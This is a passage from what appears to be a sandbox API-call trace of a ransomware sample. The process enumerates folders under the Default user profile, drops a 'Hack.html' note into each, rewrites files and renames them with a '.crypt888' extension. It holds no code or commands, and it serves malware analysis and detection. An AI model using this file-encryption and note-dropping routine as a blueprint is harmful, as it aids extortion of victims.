lpBuffer="C:\\Users\\Default\\Pictures\\Hack.html", lpFilePart=0x0) returned 0x23 [0091.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0091.411] CreateFileW (lpFileName="C:\\Users\\Default\\Pictures\\Hack.html" (normalized: "c:\\users\\default\\pictures\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0091.411] GetFileType (hFile=0x174) returned 0x1 [0091.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0091.411] GetFileType (hFile=0x174) returned 0x1 [0091.411] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0xba [0091.412] ReadFile (in: hFile=0x174, lpBuffer=0x28888bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x28888bc*, lpNumberOfBytesRead=0x39ed58*=0xba, lpOverlapped=0x0) returned 1 [0091.412] CloseHandle (hObject=0x174) returned 1 [0091.455] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Pictures\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Pictures\\Hack.html", lpFilePart=0x0) returned 0x23 [0091.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0091.455] CreateFileW (lpFileName="C:\\Users\\Default\\Pictures\\Hack.html" (normalized: "c:\\users\\default\\pictures\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0091.456] GetFileType (hFile=0x174) returned 0x1 [0091.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0091.456] GetFileType (hFile=0x174) returned 0x1 [0091.456] WriteFile (in: hFile=0x174, lpBuffer=0x26d32d8*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x26d32d8*, lpNumberOfBytesWritten=0x39ed1c*=0xc0, lpOverlapped=0x0) returned 1 [0091.457] CloseHandle (hObject=0x174) returned 1 [0091.457] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Pictures\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Pictures\\Hack.html", lpFilePart=0x0) returned 0x23 [0091.457] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Pictures\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Pictures\\Hack.html.crypt888", lpFilePart=0x0) returned 0x2c [0091.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0091.457] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Pictures\\Hack.html" (normalized: "c:\\users\\default\\pictures\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc79dd940, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xc79dd940, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc7b5a700, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0091.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0091.457] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Pictures\\Hack.html" (normalized: "c:\\users\\default\\pictures\\hack.html"), lpNewFileName="C:\\Users\\Default\\Pictures\\Hack.html.crypt888" (normalized: "c:\\users\\default\\pictures\\hack.html.crypt888")) returned 1 [0091.458] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Pictures\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Pictures\\Hack.html", lpFilePart=0x0) returned 0x23 [0091.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0091.458] CreateFileW (lpFileName="C:\\Users\\Default\\Pictures\\Hack.html" (normalized: "c:\\users\\default\\pictures\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.459] GetFileType (hFile=0x174) returned 0x1 [0091.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0091.459] GetFileType (hFile=0x174) returned 0x1 [0091.459] WriteFile (in: hFile=0x174, lpBuffer=0x26d5b8c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26d5b8c*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0091.460] CloseHandle (hObject=0x174) returned 1 [0091.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.460] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\PrintHood", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\PrintHood", lpFilePart=0x0) returned 0x1a [0091.460] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\PrintHood\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\PrintHood\\", lpFilePart=0x0) returned 0x1b [0091.460] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0xffffffff [0091.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed88) returned 1 [0091.462] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\PrintHood\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\PrintHood\\Hack.html", lpFilePart=0x0) returned 0x24 [0091.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0091.462] CreateFileW (lpFileName="C:\\Users\\Default\\PrintHood\\Hack.html" (normalized: "c:\\users\\default\\printhood\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.462] GetFileType (hFile=0x174) returned 0x1 [0091.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0091.462] GetFileType (hFile=0x174) returned 0x1 [0091.463] WriteFile (in: hFile=0x174, lpBuffer=0x26d8db4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26d8db4*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0091.464] CloseHandle (hObject=0x174) returned 1 [0091.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.464] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Recent", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Recent", lpFilePart=0x0) returned 0x17 [0091.464] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Recent\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Recent\\", lpFilePart=0x0) returned 0x18 [0091.464] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0xffffffff [0091.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed88) returned 1 [0091.466] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Recent\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Recent\\Hack.html", lpFilePart=0x0) returned 0x21 [0091.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0091.466] CreateFileW (lpFileName="C:\\Users\\Default\\Recent\\Hack.html" (normalized: "c:\\users\\default\\recent\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.468] GetFileType (hFile=0x174) returned 0x1 [0091.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0091.468] GetFileType (hFile=0x174) returned 0x1 [0091.468] WriteFile (in: hFile=0x174, lpBuffer=0x26dbf84*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26dbf84*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0091.469] CloseHandle (hObject=0x174) returned 1 [0091.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.469] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Saved Games", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Saved Games", lpFilePart=0x0) returned 0x1c [0091.469] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Saved Games\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Saved Games\\", lpFilePart=0x0) returned 0x1d [0091.470] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a728 [0091.470] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.470] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.470] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.470] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0091.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0091.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0091.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.471] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Saved Games", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Saved Games", lpFilePart=0x0) returned 0x1c [0091.471] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Saved Games\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Saved Games\\", lpFilePart=0x0) returned 0x1d [0091.471] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a728 [0091.471] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.471] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.471] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.471] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0091.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0091.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0091.471] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Saved Games\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Saved Games\\Hack.html", lpFilePart=0x0) returned 0x26 [0091.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0091.472] CreateFileW (lpFileName="C:\\Users\\Default\\Saved Games\\Hack.html" (normalized: "c:\\users\\default\\saved games\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.472] GetFileType (hFile=0x174) returned 0x1 [0091.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0091.472] GetFileType (hFile=0x174) returned 0x1 [0091.472] WriteFile (in: hFile=0x174, lpBuffer=0x26df980*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26df980*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0091.473] CloseHandle (hObject=0x174) returned 1 [0091.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.474] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Searches", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Searches", lpFilePart=0x0) returned 0x19 [0091.474] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Searches\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Searches\\", lpFilePart=0x0) returned 0x1a [0091.474] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Searches\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a728 [0091.476] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.476] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.476] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.476] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.476] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.476] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0091.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0091.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0091.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.477] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Searches", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Searches", lpFilePart=0x0) returned 0x19 [0091.477] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Searches\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Searches\\", lpFilePart=0x0) returned 0x1a [0091.478] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Searches\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a728 [0091.478] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.479] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.479] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.479] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.479] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.479] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0091.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0091.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0091.480] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Searches\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Searches\\Hack.html", lpFilePart=0x0) returned 0x23 [0091.480] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0091.480] CreateFileW (lpFileName="C:\\Users\\Default\\Searches\\Hack.html" (normalized: "c:\\users\\default\\searches\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.481] GetFileType (hFile=0x174) returned 0x1 [0091.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0091.481] GetFileType (hFile=0x174) returned 0x1 [0091.481] WriteFile (in: hFile=0x174, lpBuffer=0x26e3924*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26e3924*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0091.482] CloseHandle (hObject=0x174) returned 1 [0091.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.482] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\SendTo", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\SendTo", lpFilePart=0x0) returned 0x17 [0091.482] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\SendTo\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\SendTo\\", lpFilePart=0x0) returned 0x18 [0091.482] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\SendTo\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0xffffffff [0091.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed88) returned 1 [0091.484] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\SendTo\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\SendTo\\Hack.html", lpFilePart=0x0) returned 0x21 [0091.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0091.484] CreateFileW (lpFileName="C:\\Users\\Default\\SendTo\\Hack.html" (normalized: "c:\\users\\default\\sendto\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.486] GetFileType (hFile=0x174) returned 0x1 [0091.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0091.486] GetFileType (hFile=0x174) returned 0x1 [0091.486] WriteFile (in: hFile=0x174, lpBuffer=0x26e6af4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26e6af4*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0091.487] CloseHandle (hObject=0x174) returned 1 [0091.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.487] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Start Menu", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Start Menu", lpFilePart=0x0) returned 0x1b [0091.487] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Start Menu\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Start Menu\\", lpFilePart=0x0) returned 0x1c [0091.487] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0xffffffff [0091.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed88) returned 1 [0091.489] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Start Menu\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Start Menu\\Hack.html", lpFilePart=0x0) returned 0x25 [0091.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0091.489] CreateFileW (lpFileName="C:\\Users\\Default\\Start Menu\\Hack.html" (normalized: "c:\\users\\default\\start menu\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.489] GetFileType (hFile=0x174) returned 0x1 [0091.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0091.489] GetFileType (hFile=0x174) returned 0x1 [0091.490] WriteFile (in: hFile=0x174, lpBuffer=0x26e9d24*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26e9d24*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0091.491] CloseHandle (hObject=0x174) returned 1 [0091.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.491] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Templates", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Templates", lpFilePart=0x0) returned 0x1a [0091.491] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Templates\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Templates\\", lpFilePart=0x0) returned 0x1b [0091.491] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Templates\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0xffffffff [0091.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed88) returned 1 [0091.492] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Templates\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Templates\\Hack.html", lpFilePart=0x0) returned 0x24 [0091.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0091.492] CreateFileW (lpFileName="C:\\Users\\Default\\Templates\\Hack.html" (normalized: "c:\\users\\default\\templates\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.493] GetFileType (hFile=0x174) returned 0x1 [0091.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0091.493] GetFileType (hFile=0x174) returned 0x1 [0091.494] WriteFile (in: hFile=0x174, lpBuffer=0x26ecf4c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26ecf4c*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0091.494] CloseHandle (hObject=0x174) returned 1 [0091.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.495] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Videos", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Videos", lpFilePart=0x0) returned 0x17 [0091.495] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Videos\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Videos\\", lpFilePart=0x0) returned 0x18 [0091.495] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a728 [0091.495] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.495] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.495] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.495] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.496] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0091.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0091.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0091.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.496] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Videos", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Videos", lpFilePart=0x0) returned 0x17 [0091.496] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Videos\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Videos\\", lpFilePart=0x0) returned 0x18 [0091.496] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a728 [0091.496] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.496] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.496] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.496] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.497] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0091.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0091.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0091.497] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Videos\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Videos\\Hack.html", lpFilePart=0x0) returned 0x21 [0091.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0091.497] CreateFileW (lpFileName="C:\\Users\\Default\\Videos\\Hack.html" (normalized: "c:\\users\\default\\videos\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0091.497] GetFileType (hFile=0x174) returned 0x1 [0091.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0091.497] GetFileType (hFile=0x174) returned 0x1 [0091.497] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0xba [0091.497] ReadFile (in: hFile=0x174, lpBuffer=0x26ef468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x26ef468*, lpNumberOfBytesRead=0x39ed58*=0xba, lpOverlapped=0x0) returned 1 [0091.497] CloseHandle (hObject=0x174) returned 1 [0091.535] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Videos\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Videos\\Hack.html", lpFilePart=0x0) returned 0x21 [0091.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0091.535] CreateFileW (lpFileName="C:\\Users\\Default\\Videos\\Hack.html" (normalized: "c:\\users\\default\\videos\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0091.536] GetFileType (hFile=0x174) returned 0x1 [0091.536] SetThreadErrorMode (dwNewMode=0x0, 